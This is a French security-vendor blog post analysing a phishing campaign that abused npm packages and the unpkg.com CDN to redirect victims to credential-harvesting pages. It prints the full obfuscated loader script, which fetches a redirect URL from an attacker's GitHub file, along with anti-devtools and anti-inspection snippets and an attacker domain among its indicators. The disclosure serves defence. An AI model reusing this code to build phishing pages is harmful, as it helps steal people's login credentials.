Skip to main content

Campagne d’hameçonnage exploitant l’écosystème npm

Écrit par
blog feature toolkit

10 octobre 2025

0 minutes de lecture

En octobre 2025, des chercheurs ont découvert une opération d’hameçonnage qui détourne l’écosystème npm, mais cette fois non pas pour infecter les développeurs au moment de l’installation, mais pour héberger et diffuser des scripts d’hameçonnage via le CDN de confiance unpkg.com .

Les acteurs malveillants ont publié plus de 175 packages jetables servant d’hébergement temporaire pour du JavaScript qui redirige automatiquement les victimes vers des sites de collecte d’identifiants lorsqu’elles ouvrent des « documents professionnels » HTML spécialement conçus. Selon Socket, qui a révélé l’information et fourni les premières données, cette attaque vise plus de 135 organisations (dans les secteurs industriel, technologique et énergétique, principalement en Europe). Après cette divulgation, Snyk a cartographié plus précisément les packages de la campagne et identifié un groupe distinct utilisant des noms de type mad-x.x.x.x.x.x (où x est un nombre aléatoire), qui semble lié à ces activités ou relever d’expérimentations imitatives utilisant une infrastructure et des objectifs similaires.

Contrairement à la méthode plus connue qui consiste à téléverser des packages malveillants pour compromettre les développeurs lors de leur installation, cette campagne emprunte une autre voie. Au lieu d’infecter les utilisateurs via npm install, les attaquants exploitent la diffusion par navigateur via unpkg, transformant une infrastructure légitime d’hébergement open source en mécanisme d’hameçonnage. Cela montre clairement que les acteurs malveillants explorent des méthodes qui dépassent les attaques classiques visant les packages et cherchent activement de nouvelles façons de détourner l’écosystème open source lui-même. Même s’il ne s’agit pas d’une compromission classique de la chaîne d’approvisionnement, cette campagne mérite une attention particulière.

Déroulement de cette attaque de la chaîne d’approvisionnement

  1. Publication massive de packages : les attaquants ont automatisé la création de nombreux packages npm (de la forme redirect-[a-z0-9]{6}) au contenu minimal : beamglea.js et des fichiers HTML leurres.

  2. Disponibilité automatique sur le CDN : dès qu’une version d’un package est publiée, la ressource CDN populaire et centralisée unpkg.com peut être référencée dans <script src="https://unpkg.com/<name>@<ver>/beamglea.js"> pour ensuite utiliser ces packages malveillants.

  3. Diffusion de l’hameçonnage : les cibles reçoivent des fichiers HTML personnalisés (imitant souvent des factures et autres documents). Leur ouverture déclenche le chargement du script unpkg.

  4. Vol des identifiants : le script redirige immédiatement vers une page contrôlée par l’attaquant et transmet l’adresse e-mail de la victime dans le fragment de l’URL afin de préremplir le formulaire d’hameçonnage. Cela crée un gage de confiance efficace tout en évitant les journaux du serveur.

Chronologie

Voici la chronologie connue à ce jour de cet incident en évolution :

  • 24 septembre 2025 : les premières traces de l’infrastructure sont signalées publiquement.

  • 9 octobre 2025 : Socket publie une enquête détaillant les 175 packages, le nom de code «Beamglea», la nomenclature redirect-* et les plus de 135 organisations touchées.

  • 10 octobre 2025 : une analyse interne de Snyk recense des packages supplémentaires non mentionnés par Socket, selon la nomenclature mad-* (ces éléments font toujours l’objet d’une enquête ; leur attribution et leur lien avec le même acteur ne sont pas encore établis avec certitude).

Composants touchés

  • Cible principale : toute personne qui ouvre l’un des leurres HTML de la campagne dans un navigateur qui récupère ensuite un script depuis unpkg.com. Les victimes sont des employés d’entreprise, et non des développeurs.

  • Inventaire des packages :

    • Famille redirect-* (≈175 packages) servant d’hôtes CDN pour beamglea.js et les fichiers HTML. Socket

    • Ensemble supplémentaire signalé par Snyk (absent de l’article de Socket) :

      • mad-1.0.0.2.2.8, mad-1.2.9.2.2.8, mad-2.4.0.2.2.8, mad-1.4.1.2.2.8, mad-2.0.0.2.2.8, mad-4.0.1.2.2.8, mad-3.0.1.2.2.8, mad-2.0.2.2.2.8, mad-10.1.1.2.2.8, mad-1.4.2.2.2.8, mad-2.4.1.2.2.8, mad-1.4.0.2.2.8, mad-10.2.1.2.2.8, mad-2.0.1.2.2.8, mad-3.0.0.2.2.8, mad-5.0.0.2.2.8, mad-3.0.2.2.2.8, mad-4.0.0.2.2.8, mad-5.0.1.2.2.8, mad-6.0.0.2.2.8

Analyse du package mad-*

Ce package contient une fausse page « Vérification de sécurité Cloudflare » qui redirige discrètement les utilisateurs vers une URL contrôlée par l’attaquant, récupérée depuis un fichier hébergé à distance sur GitHub. Il intègre des techniques courantes d’anti-analyse qui bloquent les raccourcis d’inspection et tentent de rediriger la fenêtre principale (protection contre l’intégration en iframe) après le clic sur une fausse case de vérification.

Fonctionnement

Interface d’hameçonnage et leurre : imite Cloudflare et fait référence à la cible potentielle.

<h1>Security Check</h1>
<p class="description">
  We are checking your browser before granting access to 
    <span style="font-weight: bold; color: black; font-size: 1.1em;">redacted.site</span>.
  This may take a few seconds.
</p>
Fenêtre de navigateur affichant une page « Vérification de sécurité » suspecte, avec une case « Je ne suis pas un robot » et un message de redirection automatique.

Détection des outils de développement : le code vérifie régulièrement si ces outils sont ouverts et, s’il les détecte, vide la page ou redirige l’utilisateur.

  const CHECK_INTERVAL = 600; 
  const SIZE_THRESHOLD = 160; 
  const REACTION = 'blank'; 
  ...
  function sizeCheck() {
    ...
    return (dw > SIZE_THRESHOLD) || (dh > SIZE_THRESHOLD);
  function consoleCheck() {
    ...
    Object.defineProperty(obj, 'id', {
      get: function() {
        open = true;
        return '1';
      }
    });
    console.log(obj);
    return open;

Déclenchement par une action de l’utilisateur : lorsque la case « Je ne suis pas un robot » est cochée, un indicateur de chargement s’affiche, puis un fichier texte distant est récupéré. Si ce fichier contient une URL, le navigateur (ou sa frame parente) est redirigé vers cette adresse. 

Renforcement contre l’inspection : désactive le clic droit, F12, les raccourcis courants des outils de développement, ainsi que les options « afficher la source » et « enregistrer ».

    document.addEventListener('contextmenu', function(e) {
        e.preventDefault();
    });

    document.addEventListener('keydown', function(e) {

        if (e.key === "F12") {
            e.preventDefault();
        }

        if ((e.ctrlKey && e.shiftKey && (e.key === 'I' || e.key === 'J')) || 
            (e.ctrlKey && (e.key === 'U' || e.key === 'S'))) {
            e.preventDefault();
        }
    });

La charge utile malveillante

À titre de référence pour les autres chercheurs en sécurité et les lecteurs, nous fournissons le code obfusqué complet script.js. Cette charge utile est chargée par le script de page suivant <script src="https://unpkg.com/mad-4.0.0.2.2.8.@3.0.1/script.js" defer></script> <script>.

La charge utile malveillante :

function _0xab84(_0x5df706, _0x320379) {
    const _0x12f2bf = _0x12f2();
    return _0xab84 = function (_0xab8422, _0x3659f3) {
        _0xab8422 = _0xab8422 - 0x16e;
        let _0x376c45 = _0x12f2bf[_0xab8422];
        return _0x376c45;
    }, _0xab84(_0x5df706, _0x320379);
}
const _0x454c0a = _0xab84;

function _0x12f2() {
    const _0x199a32 = ['4898145oELnlc', '10LcRtZV', 'then', '15289353dnZbJp', 'addEventListener', '2564739cAzVxA', 'trim', '.checkbox-container', '[redirect] raw text length:', 'style', 'https://raw.githubusercontent.com/Abassdos2992/truboebvitalya/refs/heads/main/mad4.txt', 'status', 'length', 'loadingSpinner', '1796076dMFIfM', '88NkGily', '<p>Success!</p>', '[redirect] fetching URL from', 'location', 'checked', 'GET', 'random', 'href', '4qxNEbE', 'error', '.verification-box', 'none', '[redirect] window.top assignment failed:', '[redirect] fetch status:', '[redirect] fetch failed:', 'innerHTML', '[redirect] unexpected error:', '[redirect] invalid URL format:', '[redirect] empty URL received from GitHub file', 'info', 'DOMContentLoaded', 'display', 'botCheck', '3226570QdFfpZ', '[redirect] redirecting to:', 'getElementById', 'change', '4bDCpQe', 'querySelector', '15100920Pnmwdh', 'top', 'no-store', 'block', '6VLioyL', 'test', '937826VuaTzv'];
    _0x12f2 = function () {
        return _0x199a32;
    };
    return _0x12f2();
}(function (_0x5ee12f, _0x463d21) {
    const _0xe50adb = _0xab84,
        _0x418764 = _0x5ee12f();
    while (!![]) {
        try {
            const _0x33be1a = parseInt(_0xe50adb(0x19c)) / 0x1 * (parseInt(_0xe50adb(0x184)) / 0x2) + -parseInt(_0xe50adb(0x18a)) / 0x3 * (parseInt(_0xe50adb(0x17c)) / 0x4) + parseInt(_0xe50adb(0x178)) / 0x5 + -parseInt(_0xe50adb(0x182)) / 0x6 * (-parseInt(_0xe50adb(0x185)) / 0x7) + -parseInt(_0xe50adb(0x17e)) / 0x8 + parseInt(_0xe50adb(0x188)) / 0x9 * (parseInt(_0xe50adb(0x186)) / 0xa) + parseInt(_0xe50adb(0x194)) / 0xb * (-parseInt(_0xe50adb(0x193)) / 0xc);
            if (_0x33be1a === _0x463d21) break;
            else _0x418764['push'](_0x418764['shift']());
        } catch (_0xab8496) {
            _0x418764['push'](_0x418764['shift']());
        }
    }
}(_0x12f2, 0xef296), document[_0x454c0a(0x189)](_0x454c0a(0x175), function () {
    const _0xa859eb = _0x454c0a,
        _0x4ef0d2 = document[_0xa859eb(0x17a)](_0xa859eb(0x177)),
        _0x224de6 = document['querySelector'](_0xa859eb(0x19e)),
        _0x441ce0 = document['getElementById'](_0xa859eb(0x192)),
        _0xd10573 = document[_0xa859eb(0x17d)](_0xa859eb(0x18c)),
        _0x10848a = _0xa859eb(0x18f),
        _0x569cab = _0x10848a;
    _0x4ef0d2['addEventListener'](_0xa859eb(0x17b), function () {
        const _0x491ce3 = _0xa859eb;
        if (!this[_0x491ce3(0x198)]) return;
        try {
            _0x184285(), setTimeout(() => {
                _0x405f84(), setTimeout(() => {
                    const _0x89d3d3 = _0xab84;
                    console[_0x89d3d3(0x174)](_0x89d3d3(0x196), _0x569cab), fetch(_0x569cab, {
                        'method': _0x89d3d3(0x199),
                        'cache': _0x89d3d3(0x180)
                    })[_0x89d3d3(0x187)](_0xb053b6 => {
                        const _0x42dda6 = _0x89d3d3;
                        return console[_0x42dda6(0x174)](_0x42dda6(0x16e), _0xb053b6[_0x42dda6(0x190)], _0xb053b6['statusText']), _0xb053b6['text']()[_0x42dda6(0x187)](_0x239cb7 => ({
                            'status': _0xb053b6[_0x42dda6(0x190)],
                            'text': _0x239cb7
                        }));
                    })[_0x89d3d3(0x187)](({
                        status: _0x48490,
                        text: _0x54a6fa
                    }) => {
                        const _0x4408f0 = _0x89d3d3,
                            _0x4cfb55 = (_0x54a6fa || '')[_0x4408f0(0x18b)]();
                        console[_0x4408f0(0x174)](_0x4408f0(0x18d), (_0x54a6fa || '')[_0x4408f0(0x191)]);
                        if (!_0x4cfb55) {
                            console[_0x4408f0(0x19d)](_0x4408f0(0x173));
                            return;
                        }
                        if (!/^https?:\/\//i [_0x4408f0(0x183)](_0x4cfb55)) {
                            console['error'](_0x4408f0(0x172), _0x4cfb55);
                            return;
                        }
                        console[_0x4408f0(0x174)](_0x4408f0(0x179), _0x4cfb55);
                        try {
                            window[_0x4408f0(0x17f)][_0x4408f0(0x197)][_0x4408f0(0x19b)] = _0x4cfb55;
                            return;
                        } catch (_0x86bd20) {
                            console['warn'](_0x4408f0(0x1a0), _0x86bd20);
                        }
                        try {
                            window[_0x4408f0(0x197)][_0x4408f0(0x19b)] = _0x4cfb55;
                        } catch (_0x255bd0) {
                            console[_0x4408f0(0x19d)]('[redirect] window.location assignment failed:', _0x255bd0);
                        }
                    })['catch'](_0x5a4cd6 => {
                        const _0xb0c328 = _0x89d3d3;
                        console[_0xb0c328(0x19d)](_0xb0c328(0x16f), _0x5a4cd6);
                    });
                }, 0x3e8);
            }, 0x7d0 + Math[_0x491ce3(0x19a)]() * 0x3e8);
        } catch (_0x96207c) {
            console[_0x491ce3(0x19d)](_0x491ce3(0x171), _0x96207c);
        }
    });

    function _0x184285() {
        const _0x5471f3 = _0xa859eb;
        if (_0xd10573) _0xd10573['style']['display'] = _0x5471f3(0x19f);
        if (_0x441ce0) _0x441ce0[_0x5471f3(0x18e)]['display'] = _0x5471f3(0x181);
    }

    function _0x405f84() {
        const _0x197e4e = _0xa859eb;
        if (_0x441ce0) _0x441ce0['style'][_0x197e4e(0x176)] = 'none';
        if (_0x224de6) _0x224de6[_0x197e4e(0x170)] = _0x197e4e(0x195);
    }
}));

FAQ 

Quels sont les indicateurs de compromission (IOC) de cette attaque de la chaîne d’approvisionnement ?

Indices liés aux fichiers et au contenu (points de terminaison ou passerelles de messagerie) :

  • Code HTML contenant <script src="https://unpkg.com/redirect-<6-char-suffix>@<semver>/beamglea.js">.

  • Balise meta HTML présente dans les leurres : name="html-meta" content="nb830r6x".

Indices réseau :

  • Requêtes sortantes depuis les terminaux des utilisateurs vers unpkg.com, immédiatement suivies d’une navigation vers des domaines suspects comme cfn.jackpotmastersdanske[.]com.

Indices liés aux packages (dépôts/environnements de développement) :

  • Présence de packages npm peu visibles nommés comme redirect-[a-z0-9]{6} ou figurant dans la liste mad-* ci-dessus, même s’ils ne sont pas installés (car ils sont chargés à distance depuis unpkg.com).

Quels composants open source sont impliqués dans cette attaque ?

  • Registre npm : utilisé comme source d’hébergement gratuite et réputée en publiant de nombreux packages de faible valeur (par exemple, redirect-<random>), contenant chacun un petit script de redirection et des fichiers leurres.

  • unpkg.com CDN : sert automatiquement en HTTPS tous les packages npm publics. Les attaquants s’en servent pour charger directement beamglea.js dans les navigateurs des victimes.

  • Fichiers HTML leurres destinés aux victimes : des bons de commande ou des documents de projet d’apparence anodine qui, lorsqu’on les ouvre localement, récupèrent le script depuis le CDN centralisé unpkg.com et redirigent les utilisateurs vers de faux portails de connexion où le champ d’adresse e-mail est prérempli, ce qui renforce la crédibilité de l’attaque.

SNYK LABS

Découvrez les dernières innovations de Snyk en sécurité de l’IA

Les clients Snyk peuvent désormais tester Snyk AI-BOM et Snyk MCP-Scan en avant-première expérimentale – et ce n’est qu’un début !

Lire la suite

blog feature ai lilac
Blog

Transformez votre backlog de vulnérabilités en pull requests grâce à la remédiation agentique

Evo Remediation Agent est désormais disponible en aperçu ouvert et apporte la résolution automatisée des dépendances à Evo Agentic AppSec. Les équipes AppSec peuvent désormais lancer des campagnes de remédiation continues

blog feature snyk container custom base recommendations
Blog

Découvrez Evo Agentic AppSec : une sécurité au rythme du développement de l’IA

Le développement piloté par l’IA dépasse les capacités des processus de sécurité traditionnels. Agentic AppSec de Snyk s’appuie sur des agents de sécurité pour détecter, corriger et vérifier les vulnérabilités en continu, tandis que les équipes définissent les exigences.

feature insights context
Blog

Les attaques autonomes sont déjà là. La défense doit suivre leur rythme.

Les attaquants autonomes réduisent la fenêtre de défense. Découvrez comment la découverte, la correction, la validation et la prévention continues peuvent aider les équipes de sécurité à suivre le rythme.